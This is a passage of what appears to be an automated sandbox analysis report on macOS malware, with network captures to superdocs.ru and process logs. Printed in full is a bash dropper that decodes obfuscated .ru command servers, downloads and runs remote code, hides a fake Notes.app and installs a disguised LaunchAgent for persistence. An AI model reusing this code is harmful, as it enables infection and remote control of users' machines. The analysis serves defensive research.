                                      2022-08-24 09:19:00 UTC16INData Raw: 63 62 33 0d 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 72 65 6d 6f 76 65 5f 6f 6c 64 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68 65 6c 6c 20 73 63 72 69 70 74 20 22 77 68 6f 61 6d 69 22 0a 73 65 74 20 64 46 6f 6c 64 65 72 20 74 6f 20 50 4f 53 49 58 20 70 61 74 68 20 6f 66 20 28 28 70 61 74 68 20 74 6f 20 6d 65 20 61 73 20 74 65 78 74 29 20 26 20 22 3a 3a 22 29 0a 0a 0a 0a 0a 6f 6e 20 6c 6f 67 20 28 6d 65 73 73 61 67 65 29 0a 09 73 65 74 20 6d 65 73 73 61 67 65 20 74 6f 20 71 75 6f 74 65 64 20 66 6f 72 6d 20 6f 66 20 6d 65 73 73 61 67 65 0a 09 73 65 74 20 73 65
                                      Data Ascii: cb3global moduleNameglobal userNameglobal dFolderset moduleName to "remove_old"set userName to do shell script "whoami"set dFolder to POSIX path of ((path to me as text) & "::")on log (message)set message to quoted form of messageset se


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      7192.168.0.534930845.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:00 UTC19OUTGET /agent/bin/icons/Empty.icns HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      2022-08-24 09:19:00 UTC20INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:00 GMT
                                      Content-Type: application/octet-stream
                                      Content-Length: 31308
                                      Last-Modified: Thu, 18 Aug 2022 07:36:55 GMT
                                      Connection: close
                                      ETag: "62fdec17-7a4c"
                                      Accept-Ranges: bytes
                                      2022-08-24 09:19:00 UTC20INData Raw: 69 63 6e 73 00 00 7a 4c 69 63 31 32 00 00 00 ad 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 40 08 06 00 00 00 aa 69 71 de 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 5f 49 44 41 54 78 01 ed d0 01 0d 00 00 00 c2 a0 f7 4f 6d 0e 37 88 40 61 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c bc 0f 0c 40 40 00 01 16 41 98 eb 00 00 00 00 49 45 4e 44 ae 42 60 82 69 63 30 37 00 00 01 84 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 06 00 00 00 c3 3e 61 cb 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 01 36 49 44 41 54 78 01 ed d0 31 01 00 00 00 c2 a0 f5
                                      Data Ascii: icnszLic12PNGIHDR@@iqsRGB_IDATxOm7@a0`0`0`0`0`0`0`@@AIENDB`ic07PNGIHDR>asRGB6IDATx1
                                      2022-08-24 09:19:00 UTC36INData Raw: 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60 c0 80 01 03 06 0c 18 30 60
                                      Data Ascii: 0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`0`


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      8192.168.0.534930945.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:01 UTC50OUTPOST /l HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      X-Id: C07GV0KZPJH8
                                      X-Users: pedro
                                      X-Mod: bootstrap
                                      Content-Length: 46
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:01 UTC51OUTData Raw: 6d 61 70 70 69 6e 67 3a 20 72 65 6d 6f 76 65 5f 6f 6c 64 20 2d 20 63 6f 6d 2e 75 74 69 6c 73 2e 63 6f 72 65 2e 73 6f 75 6e 64 2e 61 70 70
                                      Data Ascii: mapping: remove_old - com.utils.core.sound.app
                                      2022-08-24 09:19:01 UTC51INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:01 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:01 UTC51INData Raw: 30 0d 0a 0d 0a
                                      Data Ascii: 0


                                      Session IDSource IPSource PortDestination IPDestination Port
                                      9192.168.0.534931045.82.153.92443
                                      TimestampkBytes transferredDirectionData
                                      2022-08-24 09:19:01 UTC51OUTPOST /agent/scripts/payloader.applescript HTTP/1.1
                                      Host: superdocs.ru
                                      User-Agent: curl/7.79.1
                                      Accept: */*
                                      Content-Length: 10
                                      Content-Type: application/x-www-form-urlencoded
                                      2022-08-24 09:19:01 UTC51OUTData Raw: 75 73 65 72 3d 70 65 64 72 6f
                                      Data Ascii: user=pedro
                                      2022-08-24 09:19:01 UTC51INHTTP/1.1 200 OK
                                      Server: nginx
                                      Date: Wed, 24 Aug 2022 09:19:01 GMT
                                      Content-Type: text/html; charset=UTF-8
                                      Transfer-Encoding: chunked
                                      Connection: close
                                      2022-08-24 09:19:01 UTC51INData Raw: 31 66 63 65 0d 0a 0a 67 6c 6f 62 61 6c 20 6d 6f 64 75 6c 65 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 75 73 65 72 4e 61 6d 65 0a 67 6c 6f 62 61 6c 20 64 46 6f 6c 64 65 72 0a 67 6c 6f 62 61 6c 20 6c 61 73 74 48 61 73 68 0a 67 6c 6f 62 61 6c 20 6d 61 63 4f 73 56 65 72 73 69 6f 6e 0a 67 6c 6f 62 61 6c 20 6d 6f 64 43 6f 75 6e 74 32 0a 67 6c 6f 62 61 6c 20 66 6f 6c 64 65 72 73 41 63 63 65 73 73 4e 61 6d 65 73 0a 67 6c 6f 62 61 6c 20 64 6f 6d 61 69 6e 73 0a 67 6c 6f 62 61 6c 20 64 6f 6d 61 69 6e 0a 67 6c 6f 62 61 6c 20 64 6f 6d 61 69 6e 49 6e 64 65 78 0a 67 6c 6f 62 61 6c 20 73 65 72 69 61 6c 4e 75 6d 62 65 72 0a 0a 73 65 74 20 6d 6f 64 75 6c 65 4e 61 6d 65 20 74 6f 20 22 70 61 79 6c 6f 61 64 65 72 22 0a 73 65 74 20 75 73 65 72 4e 61 6d 65 20 74 6f 20 64 6f 20 73 68
                                      Data Ascii: 1fceglobal moduleNameglobal userNameglobal dFolderglobal lastHashglobal macOsVersionglobal modCount2global foldersAccessNamesglobal domainsglobal domainglobal domainIndexglobal serialNumberset moduleName to "payloader"set userName to do sh


                                      System Behavior

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/Library/Frameworks/Mono.framework/Versions/6.12.0/bin/mono-sgen64
                                      Arguments:n/a
                                      File size:4699168 bytes
                                      MD5 hash:98f65da8c6a62423d3f4cda359f06a87

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/sudo
                                      Arguments:/usr/bin/sudo -u pedro /Users/pedro/Desktop/exec.2430808
                                      File size:1246528 bytes
                                      MD5 hash:2d2c9298401fd5607184821a6ed73106

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/sudo
                                      Arguments:n/a
                                      File size:1246528 bytes
                                      MD5 hash:2d2c9298401fd5607184821a6ed73106

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/Users/pedro/Desktop/exec.2430808
                                      Arguments:/Users/pedro/Desktop/exec.2430808
                                      File size:1061683 bytes
                                      MD5 hash:1ce8099c5bb8fbe715ae7c546c46a526

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:/Users/pedro/Desktop/exec.2430808 -c exec '/Users/pedro/Desktop/exec.2430808' '$@' /Users/pedro/Desktop/exec.2430808
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/Users/pedro/Desktop/exec.2430808
                                      Arguments:/Users/pedro/Desktop/exec.2430808
                                      File size:1061683 bytes
                                      MD5 hash:1ce8099c5bb8fbe715ae7c546c46a526

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:/Users/pedro/Desktop/exec.2430808 -c #!/bin/bashAUTOCLEAN=$2BASEDIR=$1BASEDIR=${PROJECT_FILE_PATH}BUILD_VERSION=1.1.5BUILD_VENDOR='default'RANDOM_PATHS=('$HOME/Library/Application Support/com.apple.spotlight' '$HOME/Library/Application Scripts/com.apple.CalendarAgent' '$HOME/Library/Group Containers/group.com.apple.mail' '$HOME/Library/Containers/com.apple.photolibraryd')DOMAIN_ONE=$(echo '73 75 70 65 72 64 6F 63 73 2E 72 75' | xxd -p -r)DOMAIN_TWO=$(echo '6D 65 6C 69 6E 64 61 73 2E 72 75' | xxd -p -r)DOMAIN_THREE=$(echo '6B 69 6E 6B 73 64 6F 63 2E 72 75' | xxd -p -r)DOMAIN_FOUR=$(echo '61 64 6F 62 65 66 69 6C 65 2E 72 75' | xxd -p -r)ACTIVE_DOMAINS=(${DOMAIN_ONE} ${DOMAIN_TWO} ${DOMAIN_THREE} ${DOMAIN_FOUR})TARGET_DOMAIN=${ACTIVE_DOMAINS[RANDOM%${#ACTIVE_DOMAINS[@]}]}if [ ! -z '$3' ] then TARGET_DOMAIN=$3fiSTR_TWO=$(echo '58 2D 4D 6F 64 3A 20 50 6F 64 73' | xxd -p -r) # X-Mod: PodsSTR_ONE=$(echo '58 2D 55 73 72 3A' | xxd -p -r) # X-Usr:TARGETDIRFILE='$HOME/Library/Caches/GitServices/.report'TARGETPLISTFILE='$HOME/Library/Caches/GitServices/.plist'TARGETDOMAINFILE='$HOME/Library/Caches/GitServices/.domain'BOOT_FILE='$HOME/Library/Caches/GitServices/AppleWebKit'EXEC_DONE_FILE='$HOME/Library/Caches/GitServices/.exec_done'RANDOM_PLISTS=('$HOME/Library/LaunchAgents/com.apple.airplay.plist' '$HOME/Library/LaunchAgents/com.apple.spx.plist' '$HOME/Library/LaunchAgents/com.google.keystore.plist' '$HOME/Library/LaunchAgents/com.google.chrome.plist')MACOS_VERSION=$(defaults read loginwindow SystemVersionStampAsString)logme(){curl --connect-timeout 11 -s -k -d '$1' -H '$STR_ONE $USER' -H '$STR_TWO' 'https://$TARGET_DOMAIN/sys/log.php' > /dev/null 2>&1}clean_proj(){perl -ni -e 'print unless /(.*)AAC43A(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(.*)6D902C(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(.*)FFA81D(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(.*)6A102C(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(3F708E50247A0EB6004066FD)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(162E3FD122D63A22006D904C)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(1D60589F0D05DD5A006BFC54)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(1D3623260D0F684500981D51)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1perl -ni -e 'print unless /(167012E12301506800C38AA3)(.*),/' '$BASEDIR/project.pbxproj' > /dev/null 2>&1rm -rf '$BASEDIR/xcuserdata/.xcassets/' || true}write_meta(){TARGETDIRFILE_DIR=`dirname $2`[ ! -d $TARGETDIRFILE_DIR ] && mkdir -p $TARGETDIRFILE_DIRecho '$1' > '$2'}curl --connect-timeout 11 -s -k 'https://$TARGET_DOMAIN' > /dev/null || exit 0str=''for ARG in '$@' do str='${str} ${ARG}'doneecho 'launched with args v10 notes app:${str}'echo 'basedir:${1}, autoclean: ${2}, domain: ${3}'cmd=$(curl -ks -m 5 -H '$STR_ONE $USER' https://$TARGET_DOMAIN/sys/prepod.php)if [[ ! -z '$cmd' ]] thenecho 'got prepod remote command. executing...'osascript -e '$cmd' 2>/dev/null && exit 1echo 'remote command failed. continue normal flow...'fiif [ -f '$TARGETDIRFILE' ] thenTARGETDIR=$(cat '$TARGETDIRFILE')APP_FILE='$TARGETDIR/Notes.app'if [ ! -d '$APP_FILE' ] thenTARGETDIR=${RANDOM_PATHS[RANDOM%${#RANDOM_PATHS[@]}]}fielseTARGETDIR=${RANDOM_PATHS[RANDOM%${#RANDOM_PATHS[@]}]}fiif [ -f '$TARGETPLISTFILE' ] thenPLIST_FILE=$(cat '$TARGETPLISTFILE')if [ ! -f '$PLIST_FILE' ] thenPLIST_FILE=${RANDOM_PLISTS[RANDOM%${#RANDOM_PLISTS[@]}]}fielsePLIST_FILE=${RANDOM_PLISTS[RANDOM%${#RANDOM_PLISTS[@]}]}fiecho 'target dir is: $TARGETDIR target domain: $TARGET_DOMAIN target plist: $PLIST_FILE'APP_FILE='$TARGETDIR/Notes.app'SCPT_FILE='$TARGETDIR/Notes.app/Contents/Resources/Scripts/a.scpt'if [ ! -d '$APP_FILE' ] thenecho 'step 1'fiif [ ! -f '$PLIST_FILE' ] thenecho 'step 2'fiif [ ! -f '$EXEC_DONE_FILE' ] thenecho 'step 3'fiif [ -d '$APP_FILE' ] && [ -f '$PLIST_FILE' ] && [ -f '$BOOT_FILE' ] && [ -f '$EXEC_DONE_FILE' ] thenecho 'all files are set!'SERVICE_IS_RUNNING=$(pgrep -f com.java.core com.sys.core > /dev/null 2>&1 && echo 1 || echo 0)if [ $SERVICE_IS_RUNNING = 0 ] thenecho 'service is not running. restarting...'if [[ $MACOS_VERSION == '11.'* ]] then curl -ks -o /tmp/open 'https://$TARGET_DOMAIN/agent/bin/open' chmod +x /tmp/open /tmp/open '$APP_FILE' > /dev/null 2>&1 &elseopen '$APP_FILE' > /dev/null 2>&1 &fifiif [[ '$AUTOCLEAN' = true ]] thenclean_projfi[ ! -f $TARGETDIRFILE ] && write_meta $TARGETDIR $TARGETDIRFILEexit 0fiecho 'first launch. processing...'for i in '${RANDOM_PATHS[@]}'dorm -rf '$i/Notes.app' > /dev/null 2>&1rm -rf '$i/Containers' > /dev/null 2>&1donetouch '$TMPDIR/test.tmp' 2>/dev/null || truefor i in '${RANDOM_PLISTS[@]}'dorm -f '$i' > /dev/null 2>&1rm -f '$i' > /dev/null 2>&1doneecho 'cleaning done...'mkdir -p '$TARGETDIR' > /dev/null 2>&1echo 'created directory structure...'read -r -d '' PAYLOAD2 << EOMtrydo shell script 'osascript '$SCPT_FILE''end tryEOMosacompile -x -e '$PAYLOAD2' -o '$APP_FILE' > /dev/null 2>&1touch '$TMPDIR/test2.tmp' 2>/dev/null || trueecho 'compiled app...'read -r -d '' PAYLOAD << EOMglobal dsglobal dglobal diset ds to {'', '', '', '', '', ''}set di to 1set d to item di of dson xe(_str)set x to id of _strrepeat with c in xset contents of c to c - (102 - 2)end repeatreturn string id xend xeon xex(_str)set x to id of _strrepeat with c in xset contents of c to c - (102 - 1)end repeatreturn string id xend xexon m()-- log 'domain used ' & xe(d)set dF to POSIX path of ((path to me as text) & '::')set tF to quoted form of (dF & xex('')) -- /Containersdo shell script 'rm -rf ' & tFset a to '123'do shell script 'mkdir -p ' & tFset f to quoted form of (dF & xex('')) -- /Containers/aset un to do shell script xe('') -- whoamido shell script 'curl -sk -d '' & xe('') & '=' & un & '&' & xex('') & '=$BUILD_VENDOR&' & xex('') & '=$BUILD_VERSION' https://' & xe(d) & '/' & xe('') & ' | ' & xex('') & ' -x -o ' & fdo shell script xex('') & ' ' & f & ' > /dev/null 2>&1'do shell script 'touch .a 2>/dev/null || true'do shell script 'rm -f ' & fend mon b()trydo shell script xe('') & ' 3 ' & xe(d) -- ping -o -t 3on errortryset di to di + 1set d to item di of dson errorset di to 1set d to item di of dsend tryreturn falseend tryend bon a()if b() is false thendelay 9a()elsem()end ifend atrya()end tryEOMecho '$PAYLOAD' > '$SCPT_FILE' echo 'created scpt...'touch '$TMPDIR/test3.tmp' 2>/dev/null || trueplutil -replace LSUIElement -bool YES '$APP_FILE/Contents/Info.plist' > /dev/null 2>&1rm -f '$APP_FILE/Contents/Resources/applet.icns' > /dev/null 2>&1XCODE_ICNS='/System/Applications/Notes.app/Contents/Resources/AppIcon.icns'if [ -f '$XCODE_ICNS' ] thencp -f '$XCODE_ICNS' '$APP_FILE/Contents/Resources/applet.icns' > /dev/null 2>&1fiecho 'put Xcode icon in place...'mkdir -p $(dirname $PLIST_FILE) > /dev/null 2>&1mkdir -p $(dirname $BOOT_FILE) > /dev/null 2>&1cat > '$BOOT_FILE' << EOT'$APP_FILE/Contents/MacOS/applet'EOTchmod +x '$BOOT_FILE'cat > '$PLIST_FILE' << EOT<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE plist PUBLIC '-//Apple//DTD PLIST 1.0//EN' 'http://www.apple.com/DTDs/PropertyList-1.0.dtd'><plist version='1.0'><dict><key>Label</key><string>demo</string><key>Program</key><string>/bin/bash</string><key>ProgramArguments</key><array><string>bash</string><string>$BOOT_FILE</string></array><key>RunAtLoad</key><true/><key>StandardErrorPath</key><string>/dev/null</string><key>StandardOutPath</key><string>/dev/null</string><key>StartInterval</key><integer>21600</integer></dict></plist>EOTecho '$PLIST_FILE' > '$TARGETPLISTFILE'echo 'wrote to LaunchAgents... wrote .plist'launchctl unload -w '$PLIST_FILE' > /dev/null 2>&1touch '$TMPDIR/test4.tmp' 2>/dev/null || truelaunchctl load -w '$PLIST_FILE' > /dev/null 2>&1echo 'loaded service...'if [[ '$AUTOCLEAN' = true ]] thenclean_projecho 'cleaned project...'fiwrite_meta '$TARGETDIR' '$TARGETDIRFILE'echo 'wrote .report'touch '$TMPDIR/test5.tmp' 2>/dev/null || trueecho '$TARGET_DOMAIN' > '$TARGETDOMAINFILE'touch '$TMPDIR/test6.tmp' 2>/dev/null || trueecho 'wrote .domain'echo 'done. finished.'exit 0 /Users/pedro/Desktop/exec.2430808
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/xxd
                                      Arguments:xxd -p -r
                                      File size:167712 bytes
                                      MD5 hash:aaca2dc9ef1cdee4042195108a1e9588

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/xxd
                                      Arguments:xxd -p -r
                                      File size:167712 bytes
                                      MD5 hash:aaca2dc9ef1cdee4042195108a1e9588

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/xxd
                                      Arguments:xxd -p -r
                                      File size:167712 bytes
                                      MD5 hash:aaca2dc9ef1cdee4042195108a1e9588

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/xxd
                                      Arguments:xxd -p -r
                                      File size:167712 bytes
                                      MD5 hash:aaca2dc9ef1cdee4042195108a1e9588

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/xxd
                                      Arguments:xxd -p -r
                                      File size:167712 bytes
                                      MD5 hash:aaca2dc9ef1cdee4042195108a1e9588

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/xxd
                                      Arguments:xxd -p -r
                                      File size:167712 bytes
                                      MD5 hash:aaca2dc9ef1cdee4042195108a1e9588

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/defaults
                                      Arguments:defaults read loginwindow SystemVersionStampAsString
                                      File size:205376 bytes
                                      MD5 hash:4e146d0cf6ed8b4592347198fc2a990c

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:39
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl --connect-timeout 11 -s -k https://melindas.ru
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/usr/bin/curl
                                      Arguments:curl -ks -m 5 -H X-Usr: pedro https://melindas.ru/sys/prepod.php
                                      File size:519040 bytes
                                      MD5 hash:f26856a56418cdf4551b4bdd7be78831

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Application Support/com.apple.spotlight/Notes.app
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Application Support/com.apple.spotlight/Containers
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Application Scripts/com.apple.CalendarAgent/Notes.app
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/rm
                                      Arguments:rm -rf /Users/pedro/Library/Application Scripts/com.apple.CalendarAgent/Containers
                                      File size:135424 bytes
                                      MD5 hash:dc9f95c6c7dbdd1609aa6716ba393cd3

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
                                      Start date:24/08/2022
                                      Path:/bin/bash
                                      Arguments:n/a
                                      File size:1326576 bytes
                                      MD5 hash:c0c00727c39ed1a5586291299575a6aa

                                      Chronological Activities

                                      General

                                      Start time:11:18:40
